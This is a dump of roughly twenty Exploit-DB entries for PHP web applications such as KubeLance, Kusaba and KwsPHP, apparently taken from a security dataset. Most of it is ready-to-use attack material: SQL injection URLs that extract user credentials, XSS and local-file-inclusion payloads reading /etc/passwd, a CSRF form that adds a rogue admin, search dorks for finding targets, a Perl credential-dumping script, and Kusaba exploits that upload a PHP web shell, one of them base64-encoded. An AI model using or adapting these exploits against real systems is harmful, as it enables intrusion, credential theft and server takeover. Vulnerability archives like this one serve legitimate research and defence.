deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12115
Description: Kubeit CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-08
Author: Phenom

Exploit:
=============================================
Kubeit CMS Remote SQL Injection Vulnerability
=============================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm Phenom  member from Inj3ct0r Team             1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: Phenom


#[Exploit Title] : Kubeit CMS Remote SQL Injection Vulnerability

[Author] = Phenom

[Date]   = 2010-04-08


#[Exploit] :

[Bug] = eventi.php?read=[SQL]

[SQL] = 999+union+select+1,2,group_concat(concat(username,0x3a,password,0x3a,email) separator 0x3c62723e),4,5+from+utenti--


#[Demo] :

[+] http://127.0.0.1/eventi.php?read=-999+union+select+1,2,group_concat(concat(username,0x3a,password,0x3a,email) separator 0x3c62723e),4,5+from+utenti--


#[Thanks] :

[+] all Inj3ct0r Members! Inj3ct0r.com largest Exploit Database in the world =]


# Inj3ct0r.com [2010-04-08]
Exploit-DB #34081
Description: KubeLabs PHPDug 2.0 - 'upcoming.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-06
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40554/info

KubeLabs PHPDug is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

KubeLabs PHPDug 2.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpdug/upcoming.php?id=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
Exploit-DB #5477
Description: KubeLance 1.6.4 - 'ipn.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-20
Author: Crackers_Child

Exploit:
$ Script        : Kubelance All Versions  Local File Inclusion Vulnerabilities

$ Script Info   : http://demos.kubelabs.com/kubelance/

$ Download      : http://rapidshare.com/files/108095194/Kubelance.v1.6.4.PHP.NULL-DGT.rar.html

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/ipn.php?i=localfile%00

$ Greetz        : Milw0rm.Com & All Peace Warriors 

# milw0rm.com [2008-04-20]
Exploit-DB #13931
Description: KubeLance 1.7.6 - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-18
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Kubelance SQL Injection
Vendor url:http://www.kubelabs.com
Version:1.7.6
Price:90$
Published: 2010-06-19
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Full Source Code

When you purchase Kubelance you receive the full open source code allowing
you to edit the software in any way you require.

Installation

Kubelance uses a simple wizard installations making it very easy to install
but if you want our support team will install it for you free of charge.

Escrow

Kubelance features an integrated Escrow system that allow users to create
and bid on projects with peace of mind that they will receive the correct
amount for their endeavors.

Templates

Kubelance comes with 10 templates for you to choose from, each template
comes packaged with the photoshop file so you can edit the logo, buttons,
etc. Kubelance uses easy to edit html template files so creating your own
unique template couldn't be easier.

Languages

Kubelance currently supports English, German, French, Spanish, Italian and
Norwegian. The default Language can be quickly and easily changed from the
admin area.

If your required language is not currently supported it is very simple for
you to translate it by creating a new language file. Individual users of the
site can also select their required language from the manage account page.

Upgrades

The kubelabs support team is constantly working on bringing new features to
Kubelance, clients are entitled to one year of free updates.

Admin

Kubelance uses a powerful Admin panel for controlling your site.

Payment

Plugin payment system (allows for additional payment methods to be installed
easily)
Charge a fee for each project and job
Supports Paypal, NoChex, Money Bookers and egold.

Additional features

1 year of support via email
Private Messaging.
Allows buyer and provider to discuss projects.
No need to setup a cronjob.
Custom Fields, Collect extra data for projects and accounts.
Attach files to projects and bids.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/kubelance/profile.php?id=[sql]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #11322
Description: KubeLance 1.7.6 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-02-03
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: KubeLance 1.7.6 (Add Admin) CSRF Vulnerability
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail[dot]com
[#] Date: 02. February 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: KubeLance
[#] Version: 1.7.6
[#] Platform: PHP
[#] Link: http://www.kubelabs.com/kubelance/
[#] Price: 90 $
[#] Vulnerability: Cross Site Request Forgery (Add Admin Exploit)
[#-----------------------------------------------------------------------------------------------#]

KubeLance script lack of cross site request forgery protection, allowing us to make exploit and add new admin user.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/kubelance/adm/admin_add.php" method="post">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="another-admin-added">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
Exploit-DB #34166
Description: KubeSupport - 'lang' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-18
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/40970/info

KubeSupport is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/KubeSupport/install/index.php?lang=[SQLI]
Exploit-DB #48526
Description: Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-27
Author: China Banking and Insurance Information Technology Management Co.

Exploit:
# Exploit Title: Kuicms Php EE 2.0 - Persistent Cross-Site Scripting
# Date: 2020-05-27
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
# Vendor Homepage: https://kuicms.com
# Software Link: https://kuicms.com/kuicms.zip
# Version: Kuicms Php EE 2.0
# Tested on: Windows
# CVE : N/A

Vulnerable Request:
POST /web/?c=bbs&a=reply&id=1 HTTP/1.1
Host: 172.16.166.137
Content-Length: 56
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.166.137
Referer: http://172.16.166.137/web/?m=bbsshow&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vpj3jduhoqlfieqhcnlilck2s6
Connection: close

content=</div>test<img src=//xsshs.cn/8jhh/xss.jpg><div>
Exploit-DB #16156
Description: Kunena < 1.5.13 / < 1.6.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-11
Author: Red Matter

Exploit:
Vendor/Product: Kunena
Vulnerable Versions: < 1.5.14; < 1.6.3
Vulnerability Type: SQL Injection & information leakage
Risk level: High

Vulnerability Details:
Because parameterized queries were not used, and adequate input
sanitization was not done on the catids parameter on the advanced search
page, it is possible for an attacker to run limited SQL commands on the
server.

Furthermore, when exploited with invalid SQL, it provides the full
stacktrace.  This gives the attacker the exact version of Kunena, PHP,
and MySQL along with path to kunena.search.class.php.  This path often
starts with /home/username which discloses the username, which can then
be used to launch further attacks.  This can not be disabled in the
1.5.x branch, in 1.6.x branch it can be disabled via "display_errors = off".


Recommendations:
If using the 1.5.x branch, upgrade to 1.5.14 and consider moving to the
1.6.x branch.
If using the 1.6.x branch, upgrade to 1.6.3 and set "display_errors =
off" to mitigate any damage for potential future issues

http://www.kunena.org/download


Proof of Concept:
http://localhost/index.php/forum/advsearch?q=hilfe&catids=5\%27


Regards,
Red Matter Inc.
Exploit-DB #6767
Description: Kure 0.6.3 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-16
Author: JosS

Exploit:
# Kure 0.6.3 (index.php post,doc) Local File Inclusion Vulnerability
# url: http://code.google.com/p/kure/downloads/list
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# *Requirements: magic_quotes_gpc = Off

LFI /etc/passwd:
/?post=../../../../../../../../../../../../../etc/passwd%00
/?doc=../../../../../../../../../../../../../etc/passwd%00

LFI /config.php:
/?post=../config.php%00
/?doc=../config.php%00

dork: "powered by kure"

have fun :D

# milw0rm.com [2008-10-16]
Exploit-DB #6706
Description: Kusaba 1.0.4 - Remote Code Execution (1)
Type: webapps
Platform: php
Date: 2008-10-09
Author: Sausage

Exploit:
<?php

/**********************************
9 Oct 2008
Kusaba <= 1.0.4 Remote Code Execution
Sausage <tehsausage@gmail.com>

After execution:
http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello";
http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello
**********************************/

$shellname = 'oekaki.php'; // any filename ending in php
$server = 'http://www.kusaba.image.board/url/'; // BBS website, with
trailing slash
$image = file_get_contents('test.jpg'); // image to upload (any valid
picture)
$magicquotes = true;

if ($magicquotes)
{
	$shellcode = <<<endSHELL
<?php
isset(\$_GET['pc'])?(eval(urldecode(stripslashes(\$_GET['pc'])))):(isset(\$_GET['sc'])?(passthru(urldecode(stripslashes(\$_GET['sc'])))):(header('Location:
../')));
endSHELL;
}
else
{
	$shellcode = <<<endSHELL
<?php 
isset(\$_GET['pc'])?(eval(urldecode(\$_GET['pc']))):(isset(\$_GET['sc'])?(passthru(urldecode(\$_GET['sc']))):(header('Location:
../')));
endSHELL;
}

$adata = array(
	'No clue' => 'what this is for',
);

function build_data($adata)
{
	$data = '';
	foreach ($adata as $k => $v)
	{
		$data .= "$k=$v;";
	}
	return substr($data,0,-1);
}

function data_len($data)
{
	return str_pad(strlen($data),8,'0',STR_PAD_LEFT);
}

$request = new
HttpRequest($server.'paint_save.php?applet=shipainter&saveid='.$shellname.'%00',HttpRequest::METH_POST);
$data = build_data($adata);
$imagedata = $image;
$animationdata = $shellcode;
$request->setRawPostData("S".data_len($data).$data.data_len($imagedata).'xx'.$imagedata.data_len($animationdata).$animationdata);

echo $request->send()->getBody();

# milw0rm.com [2008-10-09]
Exploit-DB #6711
Description: Kusaba 1.0.4 - Remote Code Execution (2)
Type: webapps
Platform: php
Date: 2008-10-09
Author: Sausage

Exploit:
<!--
9 Oct 2008
Kusaba <= 1.0.4 Remote Code Execution Exploit #2
Sausage <tehsausage@gmail.com>

Will work if they have left the load_receiver.php script un-edited.

After execution: (Yes these are the exact URLs)
http://www.kusaba.image.board/url/change this to the same value as your
KU_ROOTDIRpost.php?pc=print "Hello";
http://www.kusaba.image.board/url/change this to the same value as your
KU_ROOTDIRpost.php?sc=echo Hello
-->
<pre>
<form action="./load_receiver.php" method="POST">
<input type="text" name="password" value="changeme"> <!-- Don't actually
change this, unless they have changed their password and you know it -->
<input type="text" name="type" value="direct">
<input type="text" name="file"
value="PD9waHAgaXNzZXQoJF9HRVRbJ3BjJ10pPyhldmFsKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJF9HRVRbJ3BjJ10pKSkpOihpc3NldCgkX0dFVFsnc2MnXSk/KHBhc3N0aHJ1KHVybGRlY29kZShzdHJpcHNsYXNoZXMoJF9HRVRbJ3NjJ10pKSkpOihoZWFkZXIoJ0xvY2F0aW9uOiAuLi8nKSkpOw==">
<!-- same backdoor from the paint_save.php exploit -->
<input type="text" name="targetname" value="post.php"> <!-- Any
inconspicuous filename will do -->

<input type="submit" value="Exploit">
</form>

# milw0rm.com [2008-10-09]
Exploit-DB #35675
Description: Kusaba X 0.9 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-27
Author: Emilio Pinna

Exploit:
source: https://www.securityfocus.com/bid/47626/info

Kusaba X is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Kusaba X 0.9.2 are vulnerable. 

http://www.example.com/kusabax/animation.php?board=b&id=1"><script>alert(&#039;XSS&#039;)</script><"
Exploit-DB #6664
Description: Kwalbum 2.0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-03
Author: CWH Underground

Exploit:
==========================================================
  Kwalbum <= 2.0.2 Arbitrary file upload Vulnerabilities
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 3 October 2008
SITE   : cwh.citec.us

##################################################################
APPLICATION : Kwalbum
VERSION     : <= 2.0.2
DOWNLOAD    : http://downloads.sourceforge.net/kwalbum/kwalbum-2.0.2.zip
##################################################################

-----------------
Description:
-----------------
After registeration, you may obtain view, upload or admin permission.
If you obtain an upload permission, you can upload php files which can access as a below example url.

-----------
Exploit:
-----------
[+] upload page: http://[target]/[path to kwalbum]/?p=UploadItems
[+] exploit file format: http://[target]/[path to kwalbum]/[path to store image]/[year]/[month]/shell.php
[+] exploit file example: http://[target]/[path to kwalbum]/items/08/10/shell.php


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-10-03]
Exploit-DB #31608
Description: KwsPHP 1.0 ConcoursPhoto Module - 'VIEW' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-04
Author: H-T Team

Exploit:
source: https://www.securityfocus.com/bid/28612/info

KwsPHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/Path/index.php?mod=ConcoursPhoto&VIEW=[XSS]
Exploit-DB #4413
Description: KwsPHP 1.0 Member_Space Module - SQL Injection
Type: webapps
Platform: php
Date: 2007-09-15
Author: s4mi

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

$host = $ARGV[0];
$User = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;
$port = "80";

 print q(
################################################################
#  Script....................: KwsPHP v1.0 Member_Space Module #
#  Script Site...............: http://kws.koogar.org/          #
#  Vulnerability.............: Remote SQL injection Exploit    #
#  Access....................: Remote                          #
#  level.....................: Dangerous                       #
#  Author....................: S4mi                            #
#  Contact...................: S4mi[at]LinuxMail.org           #
#        This Exploit Work Only When magic_quotes_gpc Is OFF   #
################### (C)oded By S4mi ############################

);


 if (@ARGV < 3) {
 print " #  usage : xpl.pl   host/path/     User Passwd\n";
 print " #    e.g : xpl.pl 127.0.0.1/KwsPHP/ zaz luks\n";
 exit();
 }

   print " [~] User/Password : $User/$passwd \n";
   print " [~] Host : $url \n";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();
 print " [~] Logining ...\n";
 $xpl->cookie_jar( $cookie_jar );
 $login = $xpl->post($url.'index.php',
 Content => [
 "pseudo" => "$User",
 "pass" => "$passwd",
 "submit" => "Se connecter",
 ],); 
 
$evil0 = "\x39\x39\x39\x39\x39\x27\x2F\x2A\x2A\x2F\x55\x4E\x49\x4F\x4E"
		."\x2F\x2A\x2A\x2F\x53\x45\x4C\x45\x43\x54\x2F\x2A\x2A\x2F\x6E"
		."\x75\x6C\x6C\x2C\x63\x6F\x6E\x63\x61\x74\x28\x63\x68\x61\x72"
		."\x28\x31\x31\x37\x2C\x31\x31\x35\x2C\x31\x30\x31\x2C\x31\x31"
		."\x34\x2C\x31\x31\x30\x2C\x39\x37\x2C\x31\x30\x39\x2C\x31\x30"
		."\x31\x2C\x35\x38\x29\x2C\x70\x73\x65\x75\x64\x6F\x2C\x63\x68"
		."\x61\x72\x28\x31\x32\x37\x29\x29\x2C\x63\x6F\x6E\x63\x61\x74"
		."\x28\x63\x68\x61\x72\x28\x31\x31\x32\x2C\x39\x37\x2C\x31\x31"
		."\x35\x2C\x31\x31\x35\x2C\x31\x31\x39\x2C\x31\x31\x31\x2C\x31"
		."\x31\x34\x2C\x31\x30\x30\x2C\x35\x38\x29\x2C\x70\x61\x73\x73"
		."\x2C\x63\x68\x61\x72\x28\x31\x32\x37\x29\x29\x2C\x6E\x75\x6C"
		."\x6C\x2F\x2A\x2A\x2F\x46\x52\x4F\x4D\x2F\x2A\x2A\x2F\x75\x73"
		."\x65\x72\x73\x2F\x2A\x2A\x2F\x57\x48\x45\x52\x45\x2F\x2A\x2A"
		."\x2F\x69\x64\x3D\x31\x2F\x2A";

$offset = "\x65\x73\x70\x61\x63\x65\x5F\x6D\x65\x6D\x62\x72\x65\x26\x61"
		 ."\x63\x3D\x63\x61\x72\x6E\x65\x74\x26\x61\x63\x74\x3D\x65\x64"
		 ."\x69\x74\x65\x72\x26\x69\x64\x3D";

$target = $xpl->get($url."index.php?mod=$offset$evil0");



if($target->as_string =~ /value="username:(.*?"/) {
$zaz = $1;
print " [+] Exploit succeed! Getting admin information. \n";
print " [+] ------------------------------------------- \n";
}
if($target->as_string =~ /value="password:(.*?"/) {
$luks = $1;
print " [+] UserName : $zaz \n";
print " [+] Password : $luks \n";
}
else {
print " [-] Exploit Failed ! \n";
}
print "\n#############################################################\n";

# milw0rm.com [2007-09-15]
Exploit-DB #4528
Description: KwsPHP 1.0 mg2 Module - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-13
Author: Mehmet Ince

Exploit:
--------------------

KwsPHP 1.0 mg2 Module Remote SQL Injection Exploit

--------------------

Found : xoron

--------------------

Exploit:

Name:
index.php?mod=mg2&album=-1/**/union/**/select/**/0,1,pseudo,3,4,5/**/from/**/users/**/where/**/id=1/*

Pass:
index.php?mod=mg2&album=-1/**/union/**/select/**/0,1,pass,3,4,5/**/from/**/users/**/where/**/id=1/*

--------------------

Bundan sonra hep tek, hep yek xoron..!

--------------------

# milw0rm.com [2007-10-13]
Exploit-DB #4422
Description: KwsPHP 1.0 sondages Module - SQL Injection
Type: webapps
Platform: php
Date: 2007-09-18
Author: Houssamix

Exploit:
#########################################################################
    KwsPHP 1.0 sondages Module Remote SQL Injection Exploit
#########################################################################


## AUTHOR : H-T Team ( HouSSamix _ ToXiC350  )
## HOME : http://no-hack.fr & http://no-hack.net


## Site: http://kws.koogar.org/
## Dork : inurl:index.php?mod=sondages


## EXPLOITS :

http://server.com/Path/index.php?mod=sondages&do=results&id=-1%20union%20select%201,2,3,concat(pseudo,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20users%20where%20id=1--



## GREETZ  : All members no-hack

#########################################################################
         KwsPHP 1.0 sondages Module Remote SQL Injection Exploit
######################################################################### 

# milw0rm.com [2007-09-18]